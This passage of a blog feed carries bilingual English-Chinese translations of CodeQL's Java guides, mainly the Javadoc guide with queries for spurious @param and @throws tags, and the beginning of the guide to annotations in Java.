<code>:</code> <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$Expr.html" target="_blank" rel="noopener">Expr</a></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ConditionalExpr.html" target="_blank" rel="noopener">ConditionalExpr</a></td><td align="left"></td></tr><tr><td align="left"><code>String. class</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$TypeLiteral.html" target="_blank" rel="noopener">TypeLiteral</a></td><td align="left"></td></tr><tr><td align="left"><code>new A()</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ClassInstanceExpr.html" target="_blank" rel="noopener">ClassInstanceExpr</a></td><td align="left"></td></tr><tr><td align="left"><code>new String[3][2]</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ArrayCreationExpr.html" target="_blank" rel="noopener">ArrayCreationExpr</a></td><td align="left"></td></tr><tr><td align="left"><code>new int[] { 23, 42 }</code></td><td align="left"></td><td align="left"></td></tr><tr><td align="left"><code>{ 23, 42 }</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ArrayInit.html" target="_blank" rel="noopener">ArrayInit</a></td><td align="left">can only appear as an initializer or as a child of an <a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ArrayCreationExpr.html" target="_blank" rel="noopener">ArrayCreationExpr</a>只能作为初始化器或ArrayCreationExpr的子代出现。</td></tr><tr><td align="left"><code>@Annot(key=val)</code></td><td align="left"><a href="https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Annotation.qll/type.Annotation$Annotation.html" target="_blank" rel="noopener">Annotation</a></td><td align="left"></td></tr></tbody></table>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;Abstract-syntax-tree-classes-for-working-with-Java-programs¶用于Java程序的抽象语法树类。&quot;&gt;&lt;a href=&quot;#Abstract-syntax-tree-classes-for-working-wit
      
    
    </summary>
    
    
      <category term="codeql" scheme="https://summersec.github.io/categories/codeql/"/>
    
    
  </entry>
  
  <entry>
    <title>Javadoc</title>
    <link href="https://summersec.github.io/2021/03/26/Javadoc/"/>
    <id>https://summersec.github.io/2021/03/26/Javadoc/</id>
    <published>2021-03-26T12:01:42.000Z</published>
    <updated>2021-03-28T05:58:36.989Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Javadoc¶"><a href="#Javadoc¶" class="headerlink" title="Javadoc¶"></a>Javadoc<a href="https://codeql.github.com/docs/codeql-language-guides/javadoc/#javadoc" target="_blank" rel="noopener">¶</a></h1><p>You can use CodeQL to find errors in Javadoc comments in Java code.</p><blockquote><p>您可以使用CodeQL来查找Java代码中Javadoc注释的错误。</p></blockquote><h2 id="About-analyzing-Javadoc"><a href="#About-analyzing-Javadoc" class="headerlink" title="About analyzing Javadoc"></a>About analyzing Javadoc</h2><p>To access Javadoc associated with a program element, we use member predicate <code>getDoc</code> of class <code>Element</code>, which returns a <code>Documentable</code>. Class <code>Documentable</code>, in turn, offers a member predicate <code>getJavadoc</code> to retrieve the Javadoc attached to the element in question, if any.</p><blockquote><p>要访问与程序元素相关联的 Javadoc，我们使用 Element 类的成员谓词 getDoc，它返回一个 Documentable。类Documentable则提供了一个成员谓词getJavadoc来检索与相关元素相关的Javadoc，如果有的话。</p></blockquote><p>Javadoc comments are represented by class <code>Javadoc</code>, which provides a view of the comment as a tree of <code>JavadocElement</code> nodes. Each <code>JavadocElement</code> is either a <code>JavadocTag</code>, representing a tag, or a <code>JavadocText</code>, representing a piece of free-form text.</p><blockquote><p>Javadoc注释由类Javadoc表示，它提供了一个注释的视图，即JavadocElement节点的树。每个 JavadocElement 要么是一个 JavadocTag，代表一个标签，要么是一个 JavadocText，代表一段自由格式的文本。</p></blockquote><p>The most important member predicates of class <code>Javadoc</code> are:</p><blockquote><p>Javadoc类最重要的成员谓词是:</p></blockquote><ul><li><p><code>getAChild</code> - retrieves a top-level <code>JavadocElement</code> node in the tree representation.</p><blockquote><p>getAChild - 检索树型表示中的一个顶层JavadocElement节点。</p></blockquote></li><li><p><code>getVersion</code> - returns the value of the <code>@version</code> tag, if any.</p><blockquote><p>getVersion - 返回@version标签的值（如果有的话）。</p></blockquote></li><li><p><code>getAuthor</code> - returns the value of the <code>@author</code> tag, if any.</p><blockquote><p>getAuthor - 如果有的话，返回@author标签的值。</p></blockquote></li></ul><p>For example, the following query finds all classes that have both an <code>@author</code> tag and a <code>@version</code> tag, and returns this information:</p><blockquote><p>例如，下面的查询可以找到所有同时拥有@author标签和@version标签的类，并返回这些信息:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Class c, Javadoc jdoc, string author, string version</span><br><span class="line">where jdoc = c.getDoc().getJavadoc() and</span><br><span class="line">    author = jdoc.getAuthor() and</span><br><span class="line">    version = jdoc.getVersion()</span><br><span class="line">select c, author, version</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/7u27er7ec/7u27er7ec.png" alt="image-20210327132707004"></p><p><img src="https://gitee.com/samny/images/raw/master/18u27er18ec/18u27er18ec.png" alt="image-20210327132717979"></p><p><code>JavadocElement</code> defines member predicates <code>getAChild</code> and <code>getParent</code> to navigate up and down the tree of elements. It also provides a predicate <code>getTagName</code> to return the tag’s name, and a predicate <code>getText</code> to access the text associated with the tag.</p><blockquote><p>JavadocElement 定义了成员谓词 getAChild 和 getParent，用于在元素树中上下导航。它还提供了一个谓词 getTagName 来返回标记的名称，以及一个谓词 getText 来访问与标记相关的文本。</p></blockquote><p>We could rewrite the above query to use this API instead of <code>getAuthor</code> and <code>getVersion</code>:</p><blockquote><p>我们可以重写上面的查询，使用这个API代替getAuthor和getVersion:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Class c, Javadoc jdoc, JavadocTag authorTag, JavadocTag versionTag</span><br><span class="line">where jdoc = c.getDoc().getJavadoc() and</span><br><span class="line">    authorTag.getTagName() = "@author" and authorTag.getParent() = jdoc and</span><br><span class="line">    versionTag.getTagName() = "@version" and versionTag.getParent() = jdoc</span><br><span class="line">select c, authorTag.getText(), versionTag.getText()</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/7u27er7ec/7u27er7ec.png" alt="image-20210327132707004"></p><p><img src="https://gitee.com/samny/images/raw/master/18u27er18ec/18u27er18ec.png" alt="image-20210327132717979"></p><p>The <code>JavadocTag</code> has several subclasses representing specific kinds of Javadoc tags:</p><blockquote><p>从类c，Javadoc jdoc，JavadocTag authorTag，JavadocTag versionTag:</p></blockquote><ul><li><p><code>ParamTag</code> represents <code>@param</code> tags; member predicate <code>getParamName</code> returns the name of the parameter being documented.</p><blockquote><p>ParamTag代表@param标签；成员谓词getParamName返回被记录的参数名称。</p></blockquote></li><li><p><code>ThrowsTag</code> represents <code>@throws</code> tags; member predicate <code>getExceptionName</code> returns the name of the exception being documented.</p><blockquote><p>ThrowsTag代表@throws标签；成员谓词getExceptionName返回被记录的异常名称。</p></blockquote></li><li><p><code>AuthorTag</code> represents <code>@author</code> tags; member predicate <code>getAuthorName</code> returns the name of the author.</p><blockquote><p>AuthorTag代表@author标签；成员谓词getAuthorName返回被记录的作者名称。</p></blockquote></li></ul><h2 id="Example-Finding-spurious-param-tags"><a href="#Example-Finding-spurious-param-tags" class="headerlink" title="Example: Finding spurious @param tags"></a>Example: Finding spurious @param tags</h2><p>As an example of using the CodeQL Javadoc API, let’s write a query that finds <code>@param</code> tags that refer to a non-existent parameter.</p><blockquote><p>作为使用CodeQL Javadoc API的一个例子，让我们写一个查询来查找引用一个不存在的参数的@param标签。</p></blockquote><p>For example, consider this program:</p><blockquote><p>例如，考虑这个程序:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">class A {</span><br><span class="line">    /**</span><br><span class="line">    * @param lst a list of strings</span><br><span class="line">    */</span><br><span class="line">    public String get(List&lt;String&gt; list) {</span><br><span class="line">        return list.get(0);</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Here, the <code>@param</code> tag on <code>A.get</code> misspells the name of parameter <code>list</code> as <code>lst</code>. Our query should be able to find such cases.</p><blockquote><p>这里，A.get上的@param标签将参数列表的名称误写为lst。我们的查询应该能够找到这种情况。</p></blockquote><p>To begin with, we write a query that finds all callables (that is, methods or constructors) and their <code>@param</code> tags:</p><blockquote><p>首先，我们写一个查询，找到所有可调用的方法（即方法或构造函数）和它们的@param标签:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Callable c, ParamTag pt</span><br><span class="line">where c.getDoc().getJavadoc() = pt.getParent()</span><br><span class="line">select c, pt</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/10u35er10ec/10u35er10ec.png" alt="image-20210327133510876"></p><p><img src="https://gitee.com/samny/images/raw/master/35u35er35ec/35u35er35ec.png" alt="image-20210327133535667"></p><p><img src="https://gitee.com/samny/images/raw/master/48u35er48ec/48u35er48ec.png" alt="image-20210327133548916"></p><p>It’s now easy to add another conjunct to the <code>where</code> clause, restricting the query to <code>@param</code> tags that refer to a non-existent parameter: we simply need to require that no parameter of <code>c</code> has the name <code>pt.getParamName()</code>.</p><blockquote><p>现在很容易在where子句中添加另一个共轭，将查询限制在引用不存在的参数的@param标签上：我们只需要要求c的任何参数都没有pt.getParamName()这个名字。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">from Callable c, ParamTag pt</span><br><span class="line">where c.getDoc().getJavadoc() = pt.getParent() and</span><br><span class="line">    not c.getAParameter().hasName(pt.getParamName())</span><br><span class="line">select pt, "Spurious @param tag."</span><br></pre></td></tr></tbody></table></figure><p><img src="https://gitee.com/samny/images/raw/master/29u36er29ec/29u36er29ec.png" alt="image-20210327133629753"></p><p><img src="https://gitee.com/samny/images/raw/master/36u36er36ec/36u36er36ec.png" alt="image-20210327133636435"></p><p><img src="https://gitee.com/samny/images/raw/master/49u36er49ec/49u36er49ec.png" alt="image-20210327133649013"></p><h2 id="Example-Finding-spurious-throws-tags"><a href="#Example-Finding-spurious-throws-tags" class="headerlink" title="Example: Finding spurious @throws tags"></a>Example: Finding spurious @throws tags</h2><p>A related, but somewhat more involved, problem is finding <code>@throws</code> tags that refer to an exception that the method in question cannot actually throw.</p><blockquote><p>一个相关的，但比较复杂的问题是找到@throws标签，它指的是一个异常，而该方法实际上不能抛出。</p></blockquote><p>For example, consider this Java program:</p><blockquote><p>例如，考虑这个Java程序:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">import java.io.IOException;</span><br><span class="line"></span><br><span class="line">class A {</span><br><span class="line">    /**</span><br><span class="line">    * @throws IOException thrown if some IO operation fails</span><br><span class="line">    * @throws RuntimeException thrown if something else goes wrong</span><br><span class="line">    */</span><br><span class="line">    public void foo() {</span><br><span class="line">        // ...</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Notice that the Javadoc comment of <code>A.foo</code> documents two thrown exceptions: <code>IOException</code> and <code>RuntimeException</code>. The former is clearly spurious: <code>A.foo</code> doesn’t have a <code>throws IOException</code> clause, and therefore can’t throw this kind of exception. On the other hand, <code>RuntimeException</code> is an unchecked exception, so it can be thrown even if there is no explicit <code>throws</code> clause listing it. So our query should flag the <code>@throws</code> tag for <code>IOException</code>, but not the one for <code>RuntimeException.</code></p><blockquote><p>请注意，A.foo的Javadoc注释中记录了两个抛出的异常：IOException和RuntimeException。IOException和RuntimeException。前者显然是虚假的：A.foo没有throws IOException子句，因此不能抛出这种异常。另一方面，RuntimeException是一个未被选中的异常，所以即使没有显式的throws子句列出它，它也可以被抛出。所以我们的查询应该标记IOException的@throws标签，而不是RuntimeException的标签。</p></blockquote><p>Remember that the CodeQL library represents <code>@throws</code> tags using class <code>ThrowsTag</code>. This class doesn’t provide a member predicate for determining the exception type that is being documented, so we first need to implement our own version. A simple version might look like this:</p><blockquote><p>记住，CodeQL库使用类ThrowsTag来表示@throws标签。这个类没有提供一个成员谓词来确定被记录的异常类型，所以我们首先需要实现我们自己的版本。一个简单的版本可能是这样的:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">RefType getDocumentedException(ThrowsTag tt) {</span><br><span class="line">    result.hasName(tt.getExceptionName())</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Similarly, <code>Callable</code> doesn’t come with a member predicate for querying all exceptions that the method or constructor may possibly throw. We can, however, implement this ourselves by using <code>getAnException</code> to find all <code>throws</code> clauses of the callable, and then use <code>getType</code> to resolve the corresponding exception types:</p><blockquote><p>同样，Callable也没有自带一个成员谓词来查询方法或构造函数可能抛出的所有异常。不过，我们可以自己实现这个功能，使用getAnException查找callable的所有抛出子句，然后使用getType解析相应的异常类型:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">predicate mayThrow(Callable c, RefType exn) {</span><br><span class="line">    exn.getASupertype*() = c.getAnException().getType()</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Note the use of <code>getASupertype*</code> to find both exceptions declared in a <code>throws</code> clause and their subtypes. For instance, if a method has a <code>throws IOException</code> clause, it may throw <code>MalformedURLException</code>, which is a subtype of <code>IOException</code>.</p><blockquote><p>注意使用getASupertype*来查找throws子句中声明的异常和它们的子类型。例如，如果一个方法有一个throws IOException子句，它可能会抛出MalformedURLException，这是IOException的一个子类型。</p></blockquote><p>Now we can write a query for finding all callables <code>c</code> and <code>@throws</code> tags <code>tt</code> such that:</p><blockquote><p>现在我们可以写一个查询，用于查找所有可调用的c和@throws标签tt，这样:</p></blockquote><ul><li><code>tt</code> belongs to a Javadoc comment attached to <code>c</code>. tt属于附加在c上的Javadoc注释。</li><li><code>c</code> can’t throw the exception documented by <code>tt</code>. c不能抛出tt所记录的异常。</li></ul><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">// Determine the kind of exception for the `ThrowsTag`</span><br><span class="line">RefType getDocumentedException(ThrowsTag tt) {</span><br><span class="line">    result.hasName(tt.getExceptionName())</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// Find all `throws` clauses of the callable and get the exception type</span><br><span class="line">predicate mayThrow(Callable c, RefType exn) {</span><br><span class="line">    exn.getASupertype*() = c.getAnException().getType()</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from Callable c, ThrowsTag tt, RefType exn</span><br><span class="line">where c.getDoc().getJavadoc() = tt.getParent+() and</span><br><span class="line">    exn = getDocumentedException(tt) and</span><br><span class="line">    not mayThrow(c, exn)</span><br><span class="line">select tt, "Spurious @throws tag."</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/1258570917227966396/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. This finds several results in the LGTM.com demo projects.</p><blockquote><p>➤ 在LGTM.com的查询控制台中看到这个。这可以在 LGTM.com 演示项目中找到几个结果。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/54u46er54ec/54u46er54ec.png" alt="image-20210327134654810"></p><p><img src="https://gitee.com/samny/images/raw/master/53u52er53ec/53u52er53ec.png" alt="image-20210327135253078"></p><p><img src="https://gitee.com/samny/images/raw/master/42u52er42ec/42u52er42ec.png" alt="image-20210327135242786"></p><h3 id="Improvements"><a href="#Improvements" class="headerlink" title="Improvements"></a>Improvements</h3><p>Currently, there are two problems with this query:</p><blockquote><p>目前，这个查询有两个问题:</p></blockquote><ol><li><p><code>getDocumentedException</code> is too liberal: it will return <em>any</em> reference type with the right name, even if it’s in a different package and not actually visible in the current compilation unit.</p><blockquote><p>getDocumentedException过于自由：它将返回任何名称正确的引用类型，即使它在不同的包中，并且在当前的编译单元中实际上不可见。</p></blockquote></li><li><p><code>mayThrow</code> is too restrictive: it doesn’t account for unchecked exceptions, which do not need to be declared.</p><blockquote><p>mayThrow的限制性太强：它没有考虑到未被选中的异常，而这些异常不需要声明。</p></blockquote></li></ol><p>To see why the former is a problem, consider this program:</p><blockquote><p>要了解为什么前者是个问题，请考虑这个程序:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">class IOException extends Exception {}</span><br><span class="line"></span><br><span class="line">class B {</span><br><span class="line">    /** @throws IOException an IO exception */</span><br><span class="line">    void bar() throws IOException {}</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>This program defines its own class <code>IOException</code>, which is unrelated to the class <code>java.io.IOException</code> in the standard library: they are in different packages. Our <code>getDocumentedException</code> predicate doesn’t check packages, however, so it will consider the <code>@throws</code> clause to refer to both <code>IOException</code> classes, and thus flag the <code>@param</code> tag as spurious, since <code>B.bar</code> can’t actually throw <code>java.io.IOException</code>.</p><blockquote><p>这个程序定义了自己的类IOException，它与标准库中的类java.io.IOException无关：它们在不同的包中。然而，我们的getDocumentedException谓词并不检查包，因此它会认为@throws子句同时引用两个IOException类，从而将@param标签标记为虚假的，因为B.bar实际上不能抛出java.io.IOException。</p></blockquote><p>As an example of the second problem, method <code>A.foo</code> from our previous example was annotated with a <code>@throws RuntimeException</code> tag. Our current version of <code>mayThrow</code>, however, would think that <code>A.foo</code> can’t throw a <code>RuntimeException</code>, and thus flag the tag as spurious.</p><blockquote><p>作为第二个问题的例子，我们上一个例子中的方法A.foo被注解了一个@throws RuntimeException标签。然而，我们当前版本的mayThrow会认为A.foo不能抛出RuntimeException，从而将这个标签标记为虚假的。</p></blockquote><p>We can make <code>mayThrow</code> less restrictive by introducing a new class to represent unchecked exceptions, which are just the subtypes of <code>java.lang.RuntimeException</code> and <code>java.lang.Error</code>:</p><blockquote><p>我们可以通过引入一个新的类来表示unchecked异常，这只是java.lang.RuntimeException和java.lang.Error的子类型，从而使mayThrow的限制性降低:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">class UncheckedException extends RefType {</span><br><span class="line">    UncheckedException() {</span><br><span class="line">        this.getASupertype*().hasQualifiedName("java.lang", "RuntimeException") or</span><br><span class="line">        this.getASupertype*().hasQualifiedName("java.lang", "Error")</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Now we incorporate this new class into our <code>mayThrow</code> predicate:</p><blockquote><p>现在我们将这个新类加入到我们的 mayThrow 谓词中:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">predicate mayThrow(Callable c, RefType exn) {</span><br><span class="line">    exn instanceof UncheckedException or</span><br><span class="line">    exn.getASupertype*() = c.getAnException().getType()</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>Fixing <code>getDocumentedException</code> is more complicated, but we can easily cover three common cases:</p><blockquote><p>修复getDocumentedException比较复杂，但我们可以轻松覆盖三种常见情况:</p></blockquote><ol><li><p>The <code>@throws</code> tag specifies the fully qualified name of the exception.</p><blockquote><p>@throws标签指定了异常的完全限定名称。</p></blockquote></li><li><p>The <code>@throws</code> tag refers to a type in the same package.</p><blockquote><p>@throws标签指的是同一个包中的一个类型。</p></blockquote></li><li><p>The <code>@throws</code> tag refers to a type that is imported by the current compilation unit.</p><blockquote><p>@throws标签指的是当前编译单元导入的类型。</p></blockquote></li></ol><p>The first case can be covered by changing <code>getDocumentedException</code> to use the qualified name of the <code>@throws</code> tag. To handle the second and the third case, we can introduce a new predicate <code>visibleIn</code> that checks whether a reference type is visible in a compilation unit, either by virtue of belonging to the same package or by being explicitly imported. We then rewrite <code>getDocumentedException</code> as:</p><blockquote><p>第一种情况可以通过修改getDocumentedException来使用@throws标签的限定名来处理。为了处理第二种和第三种情况，我们可以引入一个新的谓词visibleIn，它可以检查一个引用类型在编译单元中是否可见，无论是属于同一个包还是被显式导入。然后我们将getDocumentedException重写成:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">import java</span><br><span class="line"></span><br><span class="line">// Determine whether a reference type is visible in a compilation unit</span><br><span class="line">predicate visibleIn(CompilationUnit cu, RefType tp) {</span><br><span class="line">    cu.getPackage() = tp.getPackage()</span><br><span class="line">    or</span><br><span class="line">    exists(ImportType it | it.getCompilationUnit() = cu | it.getImportedType() = tp)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// Determine the kind of exception for the `ThrowsTag`</span><br><span class="line">RefType getDocumentedException(ThrowsTag tt) {</span><br><span class="line">    result.getQualifiedName() = tt.getExceptionName()</span><br><span class="line">    or</span><br><span class="line">    (result.hasName(tt.getExceptionName()) and visibleIn(tt.getFile(), result))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// Define a class to represent unchecked exceptions</span><br><span class="line">class UncheckedException extends RefType {</span><br><span class="line">    UncheckedException() {</span><br><span class="line">        this.getASupertype*().hasQualifiedName("java.lang", "RuntimeException") or</span><br><span class="line">        this.getASupertype*().hasQualifiedName("java.lang", "Error")</span><br><span class="line">    }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">// Find all `throws` clauses of the callable and get the exception type</span><br><span class="line">predicate mayThrow(Callable c, RefType exn) {</span><br><span class="line">    exn instanceof UncheckedException or</span><br><span class="line">    exn.getASupertype*() = c.getAnException().getType()</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">from Callable c, ThrowsTag tt, RefType exn</span><br><span class="line">where c.getDoc().getJavadoc() = tt.getParent+() and</span><br><span class="line">    exn = getDocumentedException(tt) and</span><br><span class="line">    not mayThrow(c, exn)</span><br><span class="line">select tt, "Spurious @throws tag."</span><br></pre></td></tr></tbody></table></figure><p>➤ <a href="https://lgtm.com/query/8016848987103345329/" target="_blank" rel="noopener">See this in the query console on LGTM.com</a>. This finds many fewer, more interesting results in the LGTM.com demo projects.</p><blockquote><p>➤ 在LGTM.com的查询控制台中看到。这在LGTM.com的演示项目中发现了很多少而有趣的结果。</p></blockquote><p><img src="https://gitee.com/samny/images/raw/master/40u53er40ec/40u53er40ec.png" alt="image-20210327135340417"></p><p><img src="https://gitee.com/samny/images/raw/master/54u53er54ec/54u53er54ec.png" alt="image-20210327135354874"></p><p><img src="https://gitee.com/samny/images/raw/master/0u54er0ec/0u54er0ec.png" alt="image-20210327135400636"></p><p>Currently, <code>visibleIn</code> only considers single-type imports, but you could extend it with support for other kinds of imports.</p><blockquote><p>目前，visibleIn只考虑单一类型的导入，但你可以扩展它，支持其他类型的导入。</p></blockquote>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;Javadoc¶&quot;&gt;&lt;a href=&quot;#Javadoc¶&quot; class=&quot;headerlink&quot; title=&quot;Javadoc¶&quot;&gt;&lt;/a&gt;Javadoc&lt;a href=&quot;https://codeql.github.com/docs/codeql-language
      
    
    </summary>
    
    
      <category term="codeql" scheme="https://summersec.github.io/categories/codeql/"/>
    
    
  </entry>
  
  <entry>
    <title>Annotations in Java</title>
    <link href="https://summersec.github.io/2021/03/26/Annotations%20in%20Java/"/>
    <id>https://summersec.github.io/2021/03/26/Annotations%20in%20Java/</id>
    <published>2021-03-26T11:01:42.000Z</published>
    <updated>2021-03-28T05:58:19.116Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Annotations-in-Java¶"><a href="#Annotations-in-Java¶" class="headerlink" title="Annotations in Java¶"></a>Annotations in Java<a href="https://codeql.github.com/docs/codeql-language-guides/annotations-in-java/#annotations-in-java" target="_blank" rel="noopener">¶</a></h1><p>CodeQL databases of Java projects contain information about all annotations attached to program elements.</p><blockquote><p>Java项目的CodeQL数据库包含所有附加在程序元素上的注释信息。</p></blockquote><h2 id="About-working-with-annotations"><a href="#About-working-with-annotations" class="headerlink" title="About working with annotations"></a>About working with annotations</h2><p>Annotations are represented by these CodeQL classes:</p><blockquote><p>注释由这些CodeQL类来表示。</p></blockquote><ul><li><p>The class <code>Annotatable</code> represents all entities that may have an annotation attached to them (that is, packages, reference types, fields, methods, and local variables).</p><blockquote><p>类Annotatable代表所有可能附加注解的实体（即包、引用类型、字段、方法和局部变量）。</p></blockquote></li><li><p>The class <code>AnnotationType</code> represents a Java annotation type, such as <code>java.lang.Override</code>; annotation types are interfaces.</p><blockquote><p>类AnnotationType代表一个Java注释类型，如java.lang.Override；注释类型是接口。</p></blockquote></li><li><p>The class <code>AnnotationElement</code> represents an annotation element, that is, a member of an annotation type.</p><blockquote><p>类AnnotationElement表示一个注解元素，也就是一个注解类型的成员。</p></blockquote></li><li><p>The class <code>Annotation</code> represents an annotation such as <code>@Override</code>; annotation values can be accessed through member predicate <code>getValue</code>.</p><blockquote><p>类Annotation代表一个注解，如@Override；注解值可以通过成员谓词getValue访问。</p></blockquote></li></ul><p>For example, the Java standard library defines an annotation <code>SuppressWarnings</code> that instructs the compiler not to emit certain kinds of warnings:</p><blockquote><p>例如，Java标准库定义了一个注解 SuppressWarnings，它指示编译器不要发出某些种类的警告:</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">package java.lang;</span><br><span class="line"></span><br><span class="line">public @interface SuppressWarnings {</span><br><span class="line">    String[] value;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p><code>SuppressWarnings</code> is represented as an <code>AnnotationType</code>, with <code>value</code> as its only <code>AnnotationElement</code>.</p><blockquote><p>SuppressWarnings被表示为一个AnnotationType，其值是唯一的AnnotationElement。</p></blockquote><p>A typical usage of <code>SuppressWarnings</code> would be this annotation for preventing a warning about using raw types:</p><blockquote><p>SuppressWarnings的典型用法是这个注解，用于防止使用原始类型的警告。</p></blockquote><figure class="highlight plain"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">class A {</span><br><span class="line">    @SuppressWarnings("rawtypes")</span><br><span class="line">    public A(java.util.List rawlist) {</span><br><span class="line">    }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>The expression <code>@SuppressWarnings("rawtypes")</code> is represented as an <code>Annotation</code>. The string literal <code>"rawtypes"</code> is used to initialize the annotation element <code>value</code>, and its value can be extracted from the annotation by means of the <code>getValue</code> 